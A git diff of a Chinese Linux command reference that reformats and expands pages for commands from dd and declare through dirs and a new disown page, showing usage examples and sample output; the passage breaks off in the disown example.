我们甚至可以使用 /dev/urandom 设备配合 dd 命令 来获取随机字符串。
-```
+```shell
[root@localhost ~]# dd if=/dev/urandom bs=1 count=15|base64 -w 0
15+0 records in
15+0 records out
@@ -81,4 +82,20 @@ wFRAnlkXeBXmWs1MyGEs
```
-
+
+**测试磁盘写入速度**
+
+```shell
+[root@localhost ~]# dd if=/dev/zero of=/tmp/testfile bs=1G count=1 oflag=direct
+1+0 records in
+1+0 records out
+1073741824 bytes (1.1 GB) copied, 7.10845 s, 151 MB/s
+```
+
+**测试磁盘读取速度**
+```shell
+[root@localhost ~]# dd if=/tmp/testfile of=/dev/null bs=1G count=1 iflag=direct
+1+0 records in
+1+0 records out
+1073741824 bytes (1.1 GB) copied, 6.53009 s, 164 MB/s
+```
diff --git a/command/declare.md b/command/declare.md
index c7d0deba294..e7a1ed172f6 100644
--- a/command/declare.md
+++ b/command/declare.md
@@ -1,51 +1,213 @@
declare
===
-声明或显示shell变量
+声明变量,设置或显示变量的值和属性。
-## 补充说明
-
-**declare命令** 用于声明和显示已存在的shell变量。当不提供变量名参数时显示所有shell变量。declare命令若不带任何参数选项,则会显示所有shell变量及其值。declare的功能与typeset命令的功能是相同的。
-
-### 语法
+## 语法
+```shell
+declare [-aAfFgilnrtux] [-p] [name[=value] ...]
```
-declare(选项)(参数)
-```
-
-### 选项
+## 主要用途
+
+- 显示包含指定属性的全部变量和值
+- 显示包含指定属性的一到多个变量和值
+- 显示一到多个变量的属性和值
+- 显示所有变量的属性和值并显示函数的定义
+- 显示所有变量的属性和值
+- 显示所有全局变量的属性和值
+- 显示全部函数名和函数定义
+- 只显示全部函数名
+- 显示一到多个函数名和函数定义
+- 只显示一到多个函数名
+- 声明全局变量(可选:赋值)
+- 声明变量(可选:赋值、属性)
+- 增加、删除变量的属性(可选:赋值)
+
+## 选项
+
+```shell
+-f 将操作或显示限制为函数名及函数定义。
+-F 只显示函数名(调试时附加行号和源文件)。
+-g 在shell函数中使用时创建全局变量;其他情况下忽略。
+-p 显示每个名称的属性和值。
+
+*设置属性的选项:
+-a 创建数组(如果支持)。
+-A 创建关联数组(如果支持)。
+-i 增加整型属性。
++i 删除整型属性。
+-l 增加小写属性,变量的值将转换为小写。
++l 删除小写属性。
+-n 增加引用属性(如果该选项存在)。
++n 删除引用属性(如果该选项存在)。
+-r 增加只读属性。
+-t 增加追踪属性。
++t 删除追踪属性。
+-u 增加大写属性,变量的值将转换为大写。
++u 删除大写属性。
+-x 增加导出属性。
++x 删除导出属性。
```
-+/-:"-"可用来指定变量的属性,"+"则是取消变量所设的属性;
--f:仅显示函数;
-r:将变量设置为只读;
-x:指定的变量会成为环境变量,可供shell以外的程序来使用;
-i:[设置值]可以是数值,字符串或运算式。
-```
-
-### 参数
-
-shell变量:声明shell变量,格式为“变量名=值”。
-### 实例
+## 参数
-首先使用declare命令定义shell变量"test",并且将其值设置为"wangchujiang.com",输入如下命令:
+```shell
+name(可选):变量名或函数名。
+value(可选):变量的值。
+```
+## 返回值
+
+declare 返回true除非你提供了非法选项或赋值错误。具体导致异常的情况请查看**讨论**章节的**关于异常情况**。
+
+## 例子
+
+```shell
+# 声明变量,当然也欢迎您在这个网站(感谢本项目发起人 @jaywcjlove)查询linux命令。
+declare reference_website='https://wangchujiang.com/linux-command/'
+
+# 显示所有包含整型属性的变量和值。
+declare -i
+# 定义变量b并赋值为3,具有整型属性。
+declare -i b=5
+# 显示属性,返回 declare -i b="5"。
+declare -p b
+# 删除整型属性。
+declare +i b
+# 显示属性,返回 declare -- b="5"。
+declare -p b
+# 根据变量属性强制转换值的英文大小写。
+declare -u uc_var='abc'
+declare -l lc_var='ABC'
+# 显示'ABC abc';
+echo "${uc_var} ${lc_var}"
```
-declare test='wangchujiang.com' #定义并初始化shell变量
+
+```shell
+# 定义函数内的全局变量
+function test(){
+ declare -g a=3
+ # 或者
+ local -g b=3
+ # 或者
+ c=3
+ # 让我们查看它们的属性。
+ declare -p a b c
+}
+# 执行函数。
+test
+# 返回结果。
+# declare -- a="3"
+# declare -- b="3"
+# declare -- c="3"
+
+# 定义函数外的全局变量
+declare a=3
+b=3
+declare –p a b
+# 返回结果如下。
+# declare -- a="3"
+# declare -- b="3"
+
+# 定义局部变量
+function test2(){
+ local -i a=3
+ declare -i b=3
+}
+test2
+# 没有该变量(已经被销毁了)
+echo "${a} ${b}"
+# 因此,我们日常脚本中最常见的类似于'a=3'实际上是声明并赋值了一个全局变量。
+# 在接下来的 **讨论** 环节会延伸讨论全局和局部变量问题。
```
-上面的命令执行后,再使用echo命令将该shell变量值输出,输入如下命令:
+```shell
+# 注意,不能使用 `+a` 或 `+A` 取消数组,也不能使用 `+r` 取消只读属性。
+
+# 定义只读数组,设置属性的同时定义赋值。
+declare -ar season=('Spring' 'Summer' 'Autumn' 'Winter')
+# 或者这样。
+season=('Spring' 'Summer' 'Autumn' 'Winter')
+declare -ar season
+# 显示所有数组。
+declare -a
+# 定义关联数组。
+
+declare -A fruits=(['apple']='red' ['banana']='yellow')
+# 显示所有关联数组。
+declare -A
+```
+```shell
+# 显示所有变量的属性和值并显示函数的定义,输出很长。
+declare
+# 显示所有变量的属性和值。
+declare -p
+# 显示所有全局变量的属性和值。
+declare -g
```
-echo $test #输出shell变量的值
+
+```shell
+# 显示全部函数名和函数定义。
+declare -f
+# 只显示全部函数名。
+declare -F
+
+# 定义两个函数。
+function func_a(){ echo $(date +"%F %T"); }
+function func_b(){ cd /; ls -lh --sort=time; }
+# 显示一到多个函数名和函数定义。
+declare -f func_a func_b
+# 只显示一到多个函数名,验证某个名称是否已经定义为函数时有用。
+declare -F func_a func_b
+# 最好不要让函数名和变量名相同。
```
-上面的指令执行后,其输出的结果如下:
-```
-wangchujiang.com
-```
+## 讨论
+
+1. 全局和局部变量
+
+ 正如上面**例子**指出的情况,我们在日常编写程序的时候需要了解这些概念,在这里
+ 做个简要地介绍,当然你也可以很方便的搜索到相关内容。
+
+ - 全局变量:在整个脚本执行期间,只要没有被删除就**一直存在**。
+ - 局部变量:在函数内定义,函数执行后就被删除。
+
+ 建议函数内使用`local`命令,函数外使用`declare`命令。
+
+ > *不要在脚本中定义过多的全局变量,那样可能会被其他函数调用造成意料之外的后果,并且也不方便检查出来。*
+ >
+ > *更不用说缺乏必要的注释了 —— ZhuangZhu-74*
+
+ 相关资料:
+
+ - [google提供的编码规范](https://github.com/google/styleguide)
+ - [全局变量的讨论](https://unix.stackexchange.com/questions/381761/what-do-declare-name-and-declare-g-do)
+
+2. 关于`declare` `typeset` `export` `local` `readonly`命令
+
+ 为什么`declare`能做到的事,还需要定义其他这些命令呢?
+
+ 因为这样语句含义会更加明确,例如:
+ - 设置导出属性的变量时,`export var`和`declare -x var`。
+ - 在函数内声明变量时,使用`local`。
+ - 声明只读变量,使用`readonly`。
+
+ `typeset`和`declare`命令一样。
+
+3. 关于异常情况
+
+ 有多种原因导致`declare`失败,关于这些情况可以参考[bash在线文档declare部分\(最新版\)](https://www.gnu.org/software/bash/manual/bash.html#index-declare),或执行 `info bash`
+ 查看`declare`部分最后一大串`an attempt is`开头的句子。
+
+### 注意
+
+1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
+2. 导出属性的相关介绍请查看'export'命令。
+3. 只读属性的相关介绍请查看'readonly'命令。
+4. 引用属性的相关介绍请查看'unset'命令的例子部分。
-
\ No newline at end of file
diff --git a/command/depmod.md b/command/depmod.md
index 741274bf955..6b49be39c9c 100644
--- a/command/depmod.md
+++ b/command/depmod.md
@@ -1,21 +1,21 @@
depmod
===
-
+
分析可载入模块的相依性
## 补充说明
**depmod命令** 可产生模块依赖的映射文件,在构建嵌入式系统时,需要由这个命令来生成相应的文件,由modprobe使用。
-### 语法
+### 语法
-```
+```shell
depmod(选项)
```
-### 选项
+### 选项
-```
+```shell
-a或--all:分析所有可用的模块;
-d或debug:执行排错模式;
-e:输出无法参照的符号;
@@ -27,9 +27,9 @@ depmod(选项)
--help:显示帮助。
```
-### 实例
+### 实例
-```
+```shell
depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/System.map -v 2.6.18_pro500-bcm91250-mips2_fp_be -A -a
```
@@ -39,7 +39,7 @@ depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/
编译linux过程及执行depmod的例子:
-```
+```shell
genkernel.sh (at linux-2.6.18_pro500)
#######
export INSTALL_ROOT_EMMA3PF="/home/windsome/EMMA3PF-KernelSource-20080626/install_pos"
@@ -61,4 +61,3 @@ depmod -b /home/windsome/EMMA3PF-KernelSource-20080626/install_pos -e -F ./boot/
如,我编译了一个新的wifi驱动r8192se_pci.ko,将其拷贝到`/lib/modules/2.6.31-20-generic/wireless`下,然后到`/lib/modules/2.6.31-20-generic`运行`depmod -a`,之后可以在任意目录运行modprobe r8192se_pci。
-
\ No newline at end of file
diff --git a/command/df.md b/command/df.md
index 82c54a70b5d..9a6869b2e4e 100644
--- a/command/df.md
+++ b/command/df.md
@@ -7,15 +7,15 @@ df
**df命令** 用于显示磁盘分区上的可使用的磁盘空间。默认显示单位为KB。可以利用该命令来获取硬盘被占用了多少空间,目前还剩下多少空间等信息。
-### 语法
+### 语法
-```
+```shell
df(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a或--all:包含全部的文件系统;
--block-size=<区块大小>:以指定的区块大小来显示区块数目;
-h或--human-readable:以可读性较高的方式来显示信息;
@@ -34,7 +34,7 @@ df(选项)(参数)
--version:显示版本信息。
```
-### 参数
+### 参数
文件:指定文件系统上的文件。
@@ -44,11 +44,11 @@ df(选项)(参数)
SIZE是一个整数和可选单位(例如:10M是10 * 1024 * 1024)。 单位是K,M,G,T,P,E,Z,Y(1024的幂)或KB,MB,...(1000的幂)。
-### 实例
+### 实例
查看系统磁盘设备,默认是KB为单位:
-```
+```shell
[root@LinServ-1 ~]# df
文件系统 1K-块 已用 可用 已用% 挂载点
/dev/sda2 146294492 28244432 110498708 21% /
@@ -59,7 +59,7 @@ tmpfs 1032204 0 1032204 0% /dev/shm
使用`-h`选项以KB以上的单位来显示,可读性高:
-```
+```shell
[root@LinServ-1 ~]# df -h
文件系统 容量 已用 可用 已用% 挂载点
/dev/sda2 140G 27G 106G 21% /
@@ -70,7 +70,7 @@ tmpfs 1009M 0 1009M 0% /dev/shm
查看全部文件系统:
-```
+```shell
[root@LinServ-1 ~]# df -a
文件系统 1K-块 已用 可用 已用% 挂载点
/dev/sda2 146294492 28244432 110498708 21% /
@@ -85,11 +85,11 @@ none 0 0 0 - /proc/sys/fs/binfmt_misc
显示 `public` 目录中的可用空间量,如以下输出中所示:
-```bash
+```shell
df public
# Filesystem 1K-blocks Used Available Use% Mounted on
# /dev/loop0 18761008 15246924 2554392 86% /d Avail
```
-
+
diff --git a/command/dhclient.md b/command/dhclient.md
index b18790db545..a9e9fc8d6a1 100644
--- a/command/dhclient.md
+++ b/command/dhclient.md
@@ -1,37 +1,36 @@
dhclient
===
-
+
动态获取或释放IP地址
## 补充说明
**dhclient命令** 使用动态主机配置协议动态的配置网络接口的网络参数。
-### 语法
+### 语法
-```
+```shell
dhclient(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
0:指定dhcp客户端监听的端口号;
-d:总是以前台方式运行程序;
-q:安静模式,不打印任何错误的提示信息;
-r:释放ip地址。
```
-### 参数
+### 参数
网络接口:操作的网络接口。
-### 实例
+### 实例
-```
+```shell
dhclient -r #释放IP
dhclient #获取IP
```
-
\ No newline at end of file
diff --git a/command/dhcpd.md b/command/dhcpd.md
index ab261c1a980..3f43ae709ce 100644
--- a/command/dhcpd.md
+++ b/command/dhcpd.md
@@ -1,17 +1,17 @@
dhcpd
===
-运行DHCP服务器。
+运行DHCP服务器
-### 语法
+### 语法
-```
+```shell
dhcpd [选项] [网络接口]
```
-### 选项
+### 选项
-```
+```shell
-p <端口> 指定dhcpd监听的端口
-f 作为前台进程运行dhcpd
-d 启用调试模式
@@ -31,7 +31,7 @@ dhcpd [选项] [网络接口]
对DHCP服务器进行排错。
-```bash
+```shell
[root@localhost ~]# dhcpd
InternetSystems Consortium DHCP Server 4.1.1-P1
Copyright2004-2010 Internet Systems Consortium.
@@ -54,4 +54,4 @@ it workbetter with this distribution.
exiting.
```
-
+
diff --git a/command/dhcrelay.md b/command/dhcrelay.md
index 88cc3cc7287..2d490450b02 100644
--- a/command/dhcrelay.md
+++ b/command/dhcrelay.md
@@ -7,15 +7,15 @@ dhcrelay
**dhcrelay命令** 使用dhcrelay命令可以提供中继DHCP和BOOTP请求,从一个没有DHCP服务器的子网直接连接到其它子网内的一个或多个DHCP服务器。该命令在DHCP中继服务器上使用,同时支持DHCPv4/BOOTP和DHCPv6协议。
-### 语法
+### 语法
-```
+```shell
dhcrelay [选项] [DHCP服务器]
```
-### 选项
+### 选项
-```
+```shell
-c <跳数> 当转发数据包时,dhcrelay丢弃已经达到一个最大跳数的数据包。默认值是10,最大值是255
-4 运行dhcrelay命令作为DHCPv4/BOOTP中继代理。这是默认操作模式
-6 运行dhcrelay命令作为DHCPv6中继代理
@@ -29,7 +29,7 @@ dhcrelay [选项] [DHCP服务器]
指定DHCP服务器的位置。
-```bash
+```shell
[root@localhost ~]# dhcrelay 192.168.0.2
Internet Systems Consortium DHCP Relay Agent4.1.1-P1
Copyright 2004-2010 Internet SystemsConsortium.
@@ -42,4 +42,4 @@ Sending on LPF/eth0/00:0c:27:fc:25:ec
Sending on Socket/fallback
```
-
+
diff --git a/command/diff.md b/command/diff.md
index 791a42f1799..e3f177a1a72 100644
--- a/command/diff.md
+++ b/command/diff.md
@@ -1,47 +1,47 @@
diff
===
-
+
比较给定的两个文件的不同
## 补充说明
**diff命令** 在最简单的情况下,比较给定的两个文件的不同。如果使用“-”代替“文件”参数,则要比较的内容将来自标准输入。diff命令是以逐行的方式,比较文本文件的异同处。如果该命令指定进行目录的比较,则将会比较该目录中具有相同文件名的文件,而不会对其子目录文件进行任何比较操作。
-### 语法
+### 语法
-```
+```shell
diff(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-<行数>:指定要显示多少行的文本。此参数必须与-c或-u参数一并使用;
--a或——text:diff预设只会逐行比较文本文件;
+-a或--text:diff预设只会逐行比较文本文件;
-b或--ignore-space-change:不检查空格字符的不同;
-B或--ignore-blank-lines:不检查空白行;
-c:显示全部内容,并标出不同之处;
-C<行数>或--context<行数>:与执行“-c-<行数>”指令相同;
--d或——minimal:使用不同的演算法,以小的单位来做比较;
+-d或--minimal:使用不同的演算法,以小的单位来做比较;
-D<巨集名称>或ifdef<巨集名称>:此参数的输出格式可用于前置处理器巨集;
--e或——ed:此参数的输出格式可用于ed的script文件;
+-e或--ed:此参数的输出格式可用于ed的script文件;
-f或-forward-ed:输出的格式类似ed的script文件,但按照原来文件的顺序来显示不同处;
-H或--speed-large-files:比较大文件时,可加快速度;
-l<字符或字符串>或--ignore-matching-lines<字符或字符串>:若两个文件在某几行有所不同,而之际航同时都包含了选项中指定的字符或字符串,则不显示这两个文件的差异;
-i或--ignore-case:不检查大小写的不同;
--l或——paginate:将结果交由pr程序来分页;
--n或——rcs:将比较结果以RCS的格式来显示;
+-l或--paginate:将结果交由pr程序来分页;
+-n或--rcs:将比较结果以RCS的格式来显示;
-N或--new-file:在比较目录时,若文件A仅出现在某个目录中,预设会显示:Only in目录,文件A 若使用-N参数,则diff会将文件A 与一个空白的文件比较;
-p:若比较的文件为C语言的程序码文件时,显示差异所在的函数名称;
-P或--unidirectional-new-file:与-N类似,但只有当第二个目录包含了第一个目录所没有的文件时,才会将这个文件与空白的文件做比较;
-q或--brief:仅显示有无差异,不显示详细的信息;
--r或——recursive:比较子目录中的文件;
+-r或--recursive:比较子目录中的文件;
-s或--report-identical-files:若没有发现任何差异,仍然显示信息;
-S<文件>或--starting-file<文件>:在比较目录时,从指定的文件开始比较;
-t或--expand-tabs:在输出时,将tab字符展开;
-T或--initial-tab:在每行前面加上tab字符以便对齐;
-u,-U<列数>或--unified=<列数>:以合并的方式来显示文件内容的不同;
--v或——version:显示版本信息;
+-v或--version:显示版本信息;
-w或--ignore-all-space:忽略全部的空格字符;
-W<宽度>或--width<宽度>:在使用-y参数时,指定栏宽;
-x<文件名或目录>或--exclude<文件名或目录>:不比较选项中所指定的文件或目录;
@@ -52,22 +52,78 @@ diff(选项)(参数)
--suppress-common-lines:在使用-y参数时,仅显示不同之处。
```
-### 参数
+### 参数
-* 文件1:指定要比较的第一个文件;
-* 文件2:指定要比较的第二个文件。
+* 文件1:指定要比较的第一个文件;
+* 文件2:指定要比较的第二个文件。
-### 实例
+### 实例
-将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令:
+#### 以正常模式比较差异
+
+```shell
+diff a.txt b.txt
+```
+
+#### 以上下文 (context) 模式比较差异
+```shell
+diff -c a.txt b.txt
```
+
+```shell
+ *** a1.txt 2012-08-29 16:45:41.000000000 +0800
+ --- a2.txt 2012-08-29 16:45:51.000000000 +0800
+ ***************
+ *** 1,7 ****
+ a
+ a
+ a
+ !a
+ a
+ a
+ a
+ --- 1,7 ----
+ a
+ a
+ a
+ !b
+ a
+ a
+ a
+```
+
+#### 以联合 (unified) 模式比较差异
+
+```shell
+diff -u a.txt b.txt
+```
+
+```shell
+ --- a.txt 2012-08-29 16:45:41.000000000 +0800
+ +++ b.txt 2012-08-29 16:45:51.000000000 +0800
+ @@ -1,7 +1,7 @@
+ a
+ a
+ a
+ -a
+ +b
+ a
+ a
+ a
+```
+
+#### 多文件比较差异
+
+将目录`/usr/li`下的文件"test.txt"与当前目录下的文件"test.txt"进行比较,输入如下命令:
+
+```shell
diff /usr/li test.txt #使用diff指令对文件进行比较
```
上面的命令执行后,会将比较后的不同之处以指定的形式列出,如下所示:
-```
+```shell
n1 a n3,n4
n1,n2 d n3
n1,n2 c n3,n4
@@ -78,4 +134,3 @@ n1,n2 c n3,n4
注意:以上说明指定了两个文件中不同处的行号及其相应的操作。在输出形式中,每一行后面将跟随受到影响的若干行。其中,以<开始的行属于文件1,以>开始的行属于文件2。
-
\ No newline at end of file
diff --git a/command/diff3.md b/command/diff3.md
index 04d5ebd2572..5bb954a4e1b 100644
--- a/command/diff3.md
+++ b/command/diff3.md
@@ -1,21 +1,21 @@
diff3
===
-
+
比较3个文件不同的地方
## 补充说明
**diff3命令** 用于比较3个文件,将3个文件的不同的地方显示到标准输出。
-### 语法
+### 语法
-```
+```shell
diff3(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-a:把所有的文件都当做文本文件按照行为单位进行比较,即给定的文件不是文本文件;
-A:合并第2个文件和第3个文件之间的不同到第1个文件中,有冲突内容用括号括起来;
-B:与选项“-A”功能相同,但是不显示冲突的内容;
@@ -25,11 +25,10 @@ diff3(选项)(参数)
--initial-tab:在正常格式的行的文本前,输出一个TAB字符而非两个空白字符。此选项将导致在行中TAB字符的对齐方式看上去规范。
```
-### 参数
+### 参数
-* 文件1:指定要比较的第1个文件;
-* 文件2:指定要比较的第2个文件;
-* 文件3:指定要比较的第3个文件。
+* 文件1:指定要比较的第1个文件;
+* 文件2:指定要比较的第2个文件;
+* 文件3:指定要比较的第3个文件。
-
\ No newline at end of file
diff --git a/command/diffstat.md b/command/diffstat.md
index 5bb6d4391e9..07ef295b39a 100644
--- a/command/diffstat.md
+++ b/command/diffstat.md
@@ -1,36 +1,36 @@
diffstat
===
-
+
显示diff命令输出信息的柱状图
## 补充说明
**diffstat命令** 用来显示diff命令输出信息的柱状图,用以显示diff命令比较两个文件的不同统计信息。用户也可以直接使用`|`将diff命令所输出的结果直接送给diffstat命令进行统计结果的显示。使用该命令时,若所比较的文件或者子目录不在当前目录下,则应该使用其完整路径。
-### 语法
+### 语法
-```
+```shell
diffstat(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-n<文件名长度>:指定文件名长度,指定的长度必须大于或等于所有文件中最长的文件名;
-p<文件名长度>:与-n参数相同,但此处的<文件名长度>包括了文件的路径;
-w:指定要输出时栏位的宽度;
-v:显示版本信息。
```
-### 参数
+### 参数
文件:指定保存有diff命令的输出信息文件。
-### 实例
+### 实例
将目录"test1"和"test2"下的同名文件"testf.txt"使用diff命令进行比较。然后使用diffstat命令对结果进行统计显示,输入如下命令:
-```
+```shell
diff test1 test2 | diffstat #进行比较结果的统计显示
```
@@ -38,7 +38,7 @@ diff test1 test2 | diffstat #进行比较结果的统计显示
对于查看文件中的内容,用户可以通过cat命令进行查看即可,具体操作如下:
-```
+```shell
cat test1/testf.txt #查看test1/testf的内容
abc
def
@@ -59,10 +59,9 @@ mno
从上面的文件内容显示,可以看到两个文件内容的差别。现在来运行刚才的命令,对文件比较的结果进行统计显示,结果如下:
-```
+```shell
testfile | 2 +- #统计信息输出显示
1 file changed, 1 insertion(+), 1 deletion(-)
```
-
\ No newline at end of file
diff --git a/command/dig.md b/command/dig.md
index 8f340d93735..47109c4775a 100644
--- a/command/dig.md
+++ b/command/dig.md
@@ -1,21 +1,21 @@
dig
===
-
+
域名查询工具
## 补充说明
**dig命令** 是常用的域名查询工具,可以用来测试域名系统工作是否正常。
-### 语法
+### 语法
-```
+```shell
dig(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
@<服务器地址>:指定进行域名解析的域名服务器;
-b:当主机具有多个IP地址,指定使用本机的哪个IP地址向域名服务器发送域名查询请求;
-f<文件名称>:指定dig以批处理的方式运行,指定的文件中保存着需要批处理查询的DNS任务信息;
@@ -27,40 +27,38 @@ dig(选项)(参数)
-h:显示指令帮助信息。
```
-### 参数
+### 参数
* 主机:指定要查询域名主机;
* 查询类型:指定DNS查询的类型;
* 查询类:指定查询DNS的class;
* 查询选项:指定查询选项。
-### 实例
+### 实例
-```
-[root@localhost ~]# dig www.jsdig.com
+```shell
+[root@localhost ~]# dig www.baidu.com
-; <<>> DiG 9.3.6-P1-RedHat-9.3.6-20.P1.el5_8.1 <<>> www.jsdig.com
-;; global options: printcmd
+; <<>> DiG 9.10.6 <<>> www.baidu.com
+;; global options: +cmd
;; Got answer:
-;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 2115
-;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 2, ADDITIONAL: 0
+;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 57295
+;; flags: qr rd ra; QUERY: 1, ANSWER: 3, AUTHORITY: 0, ADDITIONAL: 1
+;; OPT PSEUDOSECTION:
+; EDNS: version: 0, flags:; udp: 4096
;; QUESTION SECTION:
-;www.jsdig.com. IN A
+;www.baidu.com. IN A
;; ANSWER SECTION:
-www.jsdig.com. 0 IN CNAME host.1.jsdig.com.
-host.1.jsdig.com. 0 IN A 100.42.212.8
-
-;; AUTHORITY SECTION:
-jsdig.com. 8 IN NS f1g1ns2.dnspod.net.
-jsdig.com. 8 IN NS f1g1ns1.dnspod.net.
-
-;; Query time: 0 msec
-;; SERVER: 202.96.104.15#53(202.96.104.15)
-;; WHEN: Thu Dec 26 11:14:37 2013
-;; MSG SIZE rcvd: 121
+www.baidu.com. 963 IN CNAME www.a.shifen.com.
+www.a.shifen.com. 63 IN A 180.101.50.242
+www.a.shifen.com. 63 IN A 180.101.50.188
+
+;; Query time: 14 msec
+;; SERVER: 119.29.29.29#53(119.29.29.29)
+;; WHEN: Wed May 10 16:16:36 CST 2023
+;; MSG SIZE rcvd: 101
```
-
\ No newline at end of file
diff --git a/command/dircolors.md b/command/dircolors.md
index e5acf118380..a4ea8004f89 100644
--- a/command/dircolors.md
+++ b/command/dircolors.md
@@ -1,21 +1,21 @@
dircolors
===
-
+
置ls命令在显示目录或文件时所用的色彩
## 补充说明
**dircolors命令** 设置ls命令在显示目录或文件时所用的色彩。dircolors可根据[色彩配置文件]来设置LS_COLORS环境变量或是显示设置LS_COLORS环境变量的命令。
-### 语法
+### 语法
-```
+```shell
dircolors(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
-b或--sh或--bourne-shell:显示在Boume shell中,将LS_COLORS设为目前预设置的shell指令;
-c或--csh或--c-shell:显示在C shell中,将LS_COLORS设为目前预设置的shell指令;
-p或--print-database:显示预设置;
@@ -23,13 +23,13 @@ dircolors(选项)(参数)
-version:显示版本信息。
```
-### 参数
+### 参数
文件:指定用来设置颜色的文件。
-### 实例
+### 实例
-```
+```shell
[root@localhost ~]# dircolors -p
# Configuration file for dircolors, a utility to help you set the
# LS_COLORS environment variable used by GNU ls with the --color option.
@@ -142,4 +142,3 @@ exec 01;32
```
-
\ No newline at end of file
diff --git a/command/dirname.md b/command/dirname.md
index 1a75c15cfa0..be71da772ac 100644
--- a/command/dirname.md
+++ b/command/dirname.md
@@ -1,28 +1,28 @@
dirname
===
-
+
去除文件名中的非目录部分
## 补充说明
-**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/ `后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。
+**dirname命令** 去除文件名中的非目录部分,仅显示与目录有关的内容。dirname命令读取指定路径名保留最后一个`/`及其后面的字符,删除其他部分,并写结果到标准输出。如果最后一个`/`后无字符,dirname 命令使用倒数第二个`/`,并忽略其后的所有字符。dirname 和 basename 通常在 shell 内部命令替换使用,以指定一个与指定输入文件名略有差异的输出文件名。
-### 语法
+### 语法
-```
+```shell
dirname(选项)(参数)
```
-### 选项
+### 选项
-```
+```shell
--help:显示帮助;
--version:显示版本号。
```
-### 实例
+### 实例
-```
+```shell
dirname //
结果为 /
@@ -37,4 +37,4 @@ dirname a/b
```
-
\ No newline at end of file
+
diff --git a/command/dirs.md b/command/dirs.md
index 14d9e1cfe59..de6a297ad7c 100644
--- a/command/dirs.md
+++ b/command/dirs.md
@@ -1,40 +1,77 @@
dirs
===
-
-显示目录记录
-## 补充说明
+显示目录堆栈。
-**dirs命令** 显示当前目录栈中的所有记录(不带参数的dirs命令显示当前目录栈中的记录)。dirs始终显示当然目录, 再是堆栈中的内容;即使目录堆栈为空, dirs命令仍然只显示当然目录。
+## 语法
-### 语法
-
-```
-dirs(选项)(参数)
+```shell
+dirs [-clpv] [+N] [-N]
```
-### 选项
+## 主要用途
-```
--c:删除目录栈中的所有记录
--l:以完整格式显示
--p:一个目录一行的方式显示
--v:每行一个目录来显示目录栈的内容,每个目录前加上的编号
-+N:显示从左到右的第n个目录,数字从0开始
--N:显示从右到左的第n个日录,数字从0开始
+- 显示目录堆栈。
+- 清空目录堆栈。
+## 选项
+
+```shell
+-c 清空目录堆栈。
+-l 堆栈内以~开头的目录在显示时展开。
+-p 将目录堆栈内的每一个目录按行显示。
+-v 将目录堆栈内的每一个目录按行显示并在每行前加上堆栈内的位置编号。
```
-### 参数
+## 参数
-目录:显示目录堆叠中的记录。
++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被显示。(从0开始计数)
-### 实例
+-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被显示。(从0开始计数)
+## 返回值
+
+返回成功除非提供了非法选项或执行出现错误。
+
+## 例子
+
+```shell
+# 添加目录到堆栈。
+[user2@pc ~]$ dirs
+~
+[user2@pc ~]$ pushd -n ~/Desktop
+~ ~/Desktop
+[user2@pc ~]$ pushd -n ~/Pictures
+~ ~/Pictures ~/Desktop
+[user2@pc ~]$ pushd -n ~/bin
+~ ~/bin ~/Pictures ~/Desktop
+
+# 选项和参数的示例:
+[user2@pc ~]$ dirs -l
+/home/user2 /home/user2/bin /home/user2/Pictures /home/user2/Desktop
+[user2@pc ~]$ dirs -p
+~
+~/bin
+~/Pictures
+~/Desktop
+[user2@pc ~]$ dirs -v
+ 0 ~
+ 1 ~/bin
+ 2 ~/Pictures
+ 3 ~/Desktop
+[user2@pc ~]$ dirs +2
+~/Pictures
+[user2@pc ~]$ dirs -2
+~/bin
+[user2@pc ~]$ dirs -c
+[user2@pc ~]$ dirs
+~
```
-[root@localhost etc]# dirs
-/etc
-```
+
+### 注意
+
+1. `bash`的目录堆栈命令包括`dirs popd pushd`。
+2. 当前目录始终是目录堆栈的顶部。
+3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。
-
\ No newline at end of file
diff --git a/command/disown.md b/command/disown.md
new file mode 100644
index 00000000000..abf6807784a
--- /dev/null
+++ b/command/disown.md
@@ -0,0 +1,125 @@
+disown
+===
+
+从当前的shell中移除作业。
+
+## 概要
+
+```shell
+disown [-h] [-ar] [jobspec ... | pid ...]
+```
+
+## 主要用途
+
+- 从当前shell的作业列表中移除全部作业。
+
+- 从当前shell的作业列表中移除指定的一到多个作业。
+
+- 从当前shell的作业列表中移除正在运行的作业。
+
+- 标记作业,使得它们在当前shell退出后也不会结束。
+
+
+## 选项
+
+```shell
+-h 标记每个作业标识符,这些作业将不会在shell接收到sighup信号时接收到sighup信号。
+-a 移除所有的作业。
+-r 移除运行的作业。
+```
+
+## 参数
+
+jobspec(可选):要移除的作业标识符,可以是一到多个。
+
+pid(可选):要移除的作业对应的进程ID,可以是一到多个。
+
+
+## 返回值
+
+返回成功除非未开启作业控制或执行出现错误。
+
+## 例子
+
+```shell
+# 演示。
+[user2@pc] ssh 192.168.1.4
+user2@192.168.1.4's password:
+# 此时按下ctrl+z使得交互停止。
+[1]+ Stopped ssh 192.168.1.4
+
+[user2@pc] ssh 192.168.1.7
+user2@192.168.1.7's password:
+# 此时按下ctrl+z使得交互停止。
+[1]+ Stopped ssh 192.168.1.7
+
+[user2@pc] sleep 120 &
+[3] 28986
+
+# 列出作业及pid信息。
+[user2@pc] jobs -l
